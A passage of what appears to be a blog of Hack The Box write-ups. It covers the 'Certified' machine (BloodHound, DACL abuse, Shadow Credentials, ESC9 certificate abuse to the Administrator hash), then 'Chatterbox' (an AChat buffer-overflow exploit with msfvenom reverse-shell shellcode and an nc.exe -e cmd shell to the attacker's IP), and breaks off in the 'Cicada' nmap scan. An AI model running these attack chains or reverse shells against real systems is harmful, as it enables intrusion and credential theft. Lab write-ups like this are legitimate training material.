| FPTg6Uo2pYQv7jJTC9x7Reo9CbVVMB8GA1UdIwQYMBaAFOz7EkAVob3H0S47Lk1L
| csBi3yv1MIHOBgNVHR8EgcYwgcMwgcCggb2ggbqGgbdsZGFwOi8vL0NOPWNlcnRp
| ZmllZC1EQzAxLUNBLENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNl
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2VydGlmaWVk
| LERDPWh0Yj9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xh
| c3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcUGCCsGAQUFBwEBBIG4MIG1MIGyBggr
| BgEFBQcwAoaBpWxkYXA6Ly8vQ049Y2VydGlmaWVkLURDMDEtQ0EsQ049QUlBLENO
| PVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3Vy
| YXRpb24sREM9Y2VydGlmaWVkLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
| ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA+BgNVHREENzA1oB8GCSsG
| AQQBgjcZAaASBBBTwp5mQoxFT6ExYzeAVBiughJEQzAxLmNlcnRpZmllZC5odGIw
| TgYJKwYBBAGCNxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTcyOTc0
| Njc3OC0yNjc1OTc4MDkxLTM4MjAzODgyNDQtMTAwMDANBgkqhkiG9w0BAQsFAAOC
| AQEAk4PE1BZ/qAgrUyzYM5plxxgUpGbICaWEkDkyiu7uCaTOehQ4rITZE1xefpHW
| VVEULz9UqlozCQgaKy3BRQsUjMZgkcQt0D+5Ygnri/+M3adcYWpJHsk+gby/JShv
| ztRj1wS/X6SEErDaf9Nw0jgZi3QCaNqH2agxwj+oA+mCMd5mBq7JtWcCI3wQ3xuE
| aOEd9Q86T/J4ZdGC+8iQKt3GrvHzTEDijK9zWxm8nuftG/AyBU0N23xJCLgWZkQU
| fgVn+2b7pjWIPAWdZv8WqcJV1tinG0oM83wgbg3Nv3ZeoEwDCs5MgYprXNImNGtI
| zQY41iYatWCKZW54Ylno2wj9tg==
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-07T20:46:15+00:00; +6h59m36s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Issuer: commonName=certified-DC01-CA/domainComponent=certified
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-13T15:49:36
| Not valid after:  2025-05-13T15:49:36
| MD5:   4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc
| SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828
| -----BEGIN CERTIFICATE-----
| MIIGPzCCBSegAwIBAgITeQAAAAIvfMdjJV9GkQAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBMMRMwEQYKCZImiZPyLGQBGRYDaHRiMRkwFwYKCZImiZPyLGQBGRYJY2VydGlm
| aWVkMRowGAYDVQQDExFjZXJ0aWZpZWQtREMwMS1DQTAeFw0yNDA1MTMxNTQ5MzZa
| Fw0yNTA1MTMxNTQ5MzZaMB0xGzAZBgNVBAMTEkRDMDEuY2VydGlmaWVkLmh0YjCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMx/FhgH36heOUjpNhO4JWYX
| E0zDwpKfx3dfqvEqTvIfRLpptNUCfkaeZijP+YAlUMNSNUvgFLZ7yuZf3ubIcEv8
| wXMlABwpVxe3NtOzLXQhNypU/W53DgYZoD9ueC3ob6f4jI6dN6jKt4gV/pBmoX3i
| Ky0XmrIaMkO8W20gzJtf8RaZYChHzhilGs3TwkKmBkZFt4+KeTkCbBE4T8zka8l6
| 52hfOhdz5YOU82eviJuTQqaprVtognmW6EV2C7laO+UvQy2VwZc9L+6A42t5Pz2E
| e+28xaBIGAgNn5TMcS+oJC0qhnAFNazT2X4p0aq3WBlF5BMwadrEwk59t4VcRc0C
| AwEAAaOCA0cwggNDMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4A
| dAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYD
| VR0PAQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4G
| CCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFl
| AwQBAjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYE
| FPTg6Uo2pYQv7jJTC9x7Reo9CbVVMB8GA1UdIwQYMBaAFOz7EkAVob3H0S47Lk1L
| csBi3yv1MIHOBgNVHR8EgcYwgcMwgcCggb2ggbqGgbdsZGFwOi8vL0NOPWNlcnRp
| ZmllZC1EQzAxLUNBLENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNl
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2VydGlmaWVk
| LERDPWh0Yj9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xh
| c3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcUGCCsGAQUFBwEBBIG4MIG1MIGyBggr
| BgEFBQcwAoaBpWxkYXA6Ly8vQ049Y2VydGlmaWVkLURDMDEtQ0EsQ049QUlBLENO
| PVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3Vy
| YXRpb24sREM9Y2VydGlmaWVkLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
| ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTA+BgNVHREENzA1oB8GCSsG
| AQQBgjcZAaASBBBTwp5mQoxFT6ExYzeAVBiughJEQzAxLmNlcnRpZmllZC5odGIw
| TgYJKwYBBAGCNxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTcyOTc0
| Njc3OC0yNjc1OTc4MDkxLTM4MjAzODgyNDQtMTAwMDANBgkqhkiG9w0BAQsFAAOC
| AQEAk4PE1BZ/qAgrUyzYM5plxxgUpGbICaWEkDkyiu7uCaTOehQ4rITZE1xefpHW
| VVEULz9UqlozCQgaKy3BRQsUjMZgkcQt0D+5Ygnri/+M3adcYWpJHsk+gby/JShv
| ztRj1wS/X6SEErDaf9Nw0jgZi3QCaNqH2agxwj+oA+mCMd5mBq7JtWcCI3wQ3xuE
| aOEd9Q86T/J4ZdGC+8iQKt3GrvHzTEDijK9zWxm8nuftG/AyBU0N23xJCLgWZkQU
| fgVn+2b7pjWIPAWdZv8WqcJV1tinG0oM83wgbg3Nv3ZeoEwDCs5MgYprXNImNGtI
| zQY41iYatWCKZW54Ylno2wj9tg==
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49681/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49716/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49739/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
61977/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 50458/tcp): CLEAN (Timeout)
|   Check 2 (port 12513/tcp): CLEAN (Timeout)
|   Check 3 (port 12583/udp): CLEAN (Timeout)
|   Check 4 (port 59388/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m35s, deviation: 0s, median: 6h59m34s
| smb2-time: 
|   date: 2025-05-07T20:45:36
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May  7 19:16:42 2025 -- 1 IP address (1 host up) scanned in 777.05 seconds

Enumeration

This machine provides us the initial creds

Username: judith.mader Password: judith09

before starting enumeration add DC01.certified.htb and certified.htb in /etc/hosts file

Port 139,445/SMB

i’ll start my enumeration from SMB service as we got the initial credentials i first use the netexec to enumerate shares and check the access of shares

netexec smb 10.10.11.41 -u judith.mader -p judith09 --shares

let’s check if we can find anything interesting in NETLOGON share

smbclient //10.10.11.41/NETLOGON -U "certified.htb/judith.mader%judith09"

let’s enumerate users using netexec

netexec smb 10.10.11.41 -u judith.mader -p judith09 --users

let’s create user’s list and check if any user is vulnerable to AS-REP Roasting

impacket-GetNPUsers certified.htb/ -dc-ip 10.10.11.41 -no-pass -usersfile users.txt

as we have valid credentials we can check for the Kerberoastable users

impacket-GetUserSPNs certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41 -request

but we got the “Clock Skew too great” error this is because of Time zone mismatch in KDC server and our kali machine

we can fix this issue with

sudo ntpdate 10.10.11.41

again running command we got the TGS for the management_svc user

let’s try to crack hash using hashcat

hashcat -m 13100 management_svc.hash /usr/share/wordlists/rockyou.txt

but no success, hashcat not able to crack the hash, now to get better picture of Domain i’ll run bloodhound

use bloodhound-python to gather information from domain

bloodhound-python -c all -d certified.htb -u judith.mader -p 'judith09' -ns 10.10.11.41

start neo4j database by sudo neo4j console and then start bloodhound using bloodhound

load collected data into bloodhound

if we check the permissions we found that judith.mader has writeOwner permissions on Management group

and management_svc is the member of management group

and group has the generic write permissions over management_svc user

management_svc user has GenericAll rights on CA_operator user

CA operator look like the Certificate authority operators first let’s change the owner of management group

impacket-owneredit -action write -new-owner judith.mader -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' certified.htb/judith.mader:judith09

you can get the targetDN from the bloodhound by clicking on management group node and copy the distinguishedName

now let’s give us the full control over the group so we can change the password of user management_svc

impacket-dacledit -action 'write' -rights 'FullControl' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' certified.htb/judith.mader:judith09

now we’ll add our user into management group

net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S 10.10.11.41

and list the group member to see if the user is correctly added

net rpc group members "management" -U "certified.htb"/"judith.mader"%"judith09" -S 10.10.11.41

nice now as we know that members of management group has the GenericWrite permissions on management_svc user

we can perform shadow credential attack to get NTLM hash of the user

Shadow Credentials attack

The Shadow Credentials attack takes advantage of improper permissions on the msDS-KeyCredentialLink attribute, allowing attackers to inject their own public key into the attribute of a target user or computer account. Once this is done, they can impersonate the target account using PKINIT.

so first we need to check if we can actually modify the msDS-KeyCredentialLink

the msDS-KeyCredentialLink attribute of a user or computer target can be manipulated with the pyWhisker tool. Clone the repository and install:

git clone https://github.com/ShutdownRepo/pywhisker.git
python3 setup.py install

now run pywhisker to list the KeyCredential IDs and their creation times

pywhisker -d certified.htb -u judith.mader -p judith09 -t management_svc -a list

At this point of time, it shows that attribute msDS-KeyCredentialLink is empty.

The exploitation phase begins with populating the msDS-KeyCredentialLink attribute.

PyWhishker add functionality, will generates a public-private key pair and adds a new key credential to the target object

pywhisker -d certified.htb -u judith.mader -p judith09 -t management_svc -a add

now to get TGT using pfx file we’ve generated

python3 gettgtpkinit.py -cert-pfx KbHEDXbt.pfx -pfx-pass a6OJmtxCmxFthczArdRn certified.htb/management_svc tests.ccache

to resolve the error create a python virtual env

source venv/bin/activate

and then install the minikerberos dependency using pip install minikerberos

now run the gettgtpkinit.py again

note this key we need in later command to get NTLM hash

let’s get the NTLM hash, first export the kerberos ticket

export KRB5CCNAME=/home/kali/offsec/tools/pywhisker/pywhisker/tests.ccache

now run below command to get NTLM hash using above key we’ve got from above command

python3 getnthash.py -key d02a6ab81ca9a359103db5d146a4030081eb2d861c88b6a5d58d97a4653f7c6f certified.htb/management_svc

Bingo! the hash is ours now, let’s check if we can login using winrm

netexec winrm 10.10.11.41 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584

You said Pwn3d! i heard Access Granted!

evil-winrm -i 10.10.11.41 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584

Now as we know that we have the GenericAll permission on ca_operator user we’ll try to change the user’s password but first we need to check group membership of ca_operator user

net user ca_operator

nothing interesting but CA looks like Certificate authority let’s change user’s password and check ADCS using netexec

net user ca_operator "Password@123" /domain

let’s Enumerate ADCS using netexec

netexec ldap 10.10.11.41 -u ca_operator -p "Password@123" -M adcs

let’s use the certipy-ad tool to get certificate template information from Certificate Authority server

certipy-ad find -vulnerable -u ca_operator@certified.htb -p "Password@123" -dc-ip 10.10.11.41 -debug

let’s read the 20250508042334_Certipy.txt

it indicates the there is ESC9 Vulnerability in Certificate template

ESC9 (No Security Extension)

ESC9 is one of a series of Enterprise Security Configuration (ESC) issues identified by security researchers, particularly by Will Schroeder and Lee Christensen in their whitepaper "Certified Pre-Owned: Abusing Active Directory Certificate Services" (2021).

"No Security Extension" means that the certificate template does not include certain critical extensions that restrict the usage of the issued certificates—specifically, the Application Policies or Enhanced Key Usage (EKU) extensions.

to get more info → https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#no-security-extension-esc9

Attack Summary

One thing to note is the presence of the flag SubjectAltRequireUpn, this means the enrollee’s userPrincipalName attribute will be included in the SAN extension and used to map the certificate to the AD account, so we’ll need to modify our writable user’s UPN to make sure the certificate maps it to our impersonation target’s UPN.

To start the UPN mapping attack we need the writable account’s credentials, shadow credentials is perhaps the easiest method to obtain them, and certipy supports it with the shadow command:

certipy-ad shadow auto -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator -dc-ip 10.10.11.41

The UPN of the writable user is changed into our target’s sAMAccountName with the account update command:

certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator

now we’ll request the certificate

ertipy-ad req -u ca_operator@certified.htb -hashes a29f7623fd11550def0192de9246f46b -dc-ip 10.10.11.41 -ca certified-DC01-CA -template CertifiedAuthentication

now change the user’s UPN back to it’s original UPN

certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb

nice now everything is fine we have administrator’s certificate so let’s use it to get the NTLM hash of the administrator

certipy-ad auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx

let’s login using evil-winrm with administrator’s NTLM hash

evil-winrm -i 10.10.11.41 -u administrator -H 0d5b49608bbce1751f708748f67e2d34

Chatterbox

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Chatterbox
OS type: Windows
Difficulty: Intermediate

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Thu Apr 17 00:50:02 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.74
Nmap scan report for 10.10.10.74
Host is up, received echo-reply ttl 127 (0.31s latency).
Scanned at 2025-04-17 00:50:03 EDT for 224s
Not shown: 65209 closed tcp ports (reset), 315 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON          VERSION
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp  open  http         syn-ack ttl 127 AChat chat system httpd
| http-methods: 
|_  Supported Methods: POST OPTIONS
|_http-server-header: AChat
|_http-favicon: Unknown favicon MD5: 0B6115FAE5429FEB9A494BEE6B18ABBE
9256/tcp  open  achat        syn-ack ttl 127 AChat chat system
49152/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49156/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49157/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 38735/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 19060/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 64306/udp): CLEAN (Failed to receive data)
|   Check 4 (port 60313/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-04-17T09:53:19
|_  start_date: 2025-04-17T09:47:49
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 6h19m57s, deviation: 2h18m37s, median: 4h59m55s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Chatterbox
|   NetBIOS computer name: CHATTERBOX\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-04-17T05:53:23-04:00

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 17 00:53:47 2025 -- 1 IP address (1 host up) scanned in 225.41 seconds

Enumeration

Port 139,445/SMB

i’ll start my enumeration process from SMB, let’s check for Null session using

smbclient -L //10.10.10.74 -N

Anonymous login successful but no shares are listed

Port 135/MSRPC

moving forward let’s check the MSRCP using rpcclient

rpcclient -U "" -N 10.10.10.74

running enumdomusers it returns access denied message

Port 9255/? (AChat chat system)

nmap scan shows there’s http service running on port 9255, i tried using firefox but site won’t load so i used the curl with -v to see anything interesting

the server header shows - AChat, which already identified by nmap

searching for Achat Chat system i found - Achat is a safe voice chat application for Indians to make friends, and socialize with their Indian friends

searching for exploit using searchsploit

searchsploit -m windows/remote/36025.py

copy exploit to current working directory , now we need to generate buffer code for our IP and port to get reverse shell

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp lhost=10.10.14.17 lport=443 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

replace lhost and lport with your Listening ip and listening port

paste the generated code to 36025.py start the netcat listener using rlwrap -r nc -nvlp 443 and run the exploit using

change the target ip in 36025.py

python2 36025.py

run the exploit and check for the reverse shell on netcat listener

Simply run the winPEAS i found the autologon credentials

i’ll try this password for administrator user using netexec

netexec smb 10.10.10.74 -u Administrator -p 'Welcome1!'

Pwn3d! indicates that the Chatterbox welcomes it’s new ruler

i’ll use impacket-psexec to get system shell

impacket-psexec Administrator:'Welcome1!'@10.10.10.74

Even System user can’t read it.

now what next! we need to get access as administrator there are many ways such as we can use https://github.com/antonioCoco/RunasCs but here i’ll show you alternate method

we can use the netexec to run command as specific user, as we have the valid password of administrator we can execute command as administrator using -x

execute whoami command to see what user it is executing commands as

netexec smb 10.10.10.74 -u Administrator -p 'Welcome1!' -x whoami

nice it’s time to get shell i created temp directory in C:\ and uploaded the nc.exe to \temp folder

now run below command after starting reverse shell listener on port 443

netexec smb 10.10.10.74 -u Administrator -p 'Welcome1!' -x '\temp\nc.exe 10.10.14.17 443 -e cmd'

Cicada

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Cicada
OS Type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Thu May  1 21:24:59 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.35
Nmap scan report for 10.10.11.35
Host is up, received echo-reply ttl 127 (0.28s latency).
Scanned at 2025-05-01 21:25:00 IST for 662s
Not shown: 65522 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-01 23:04:26Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
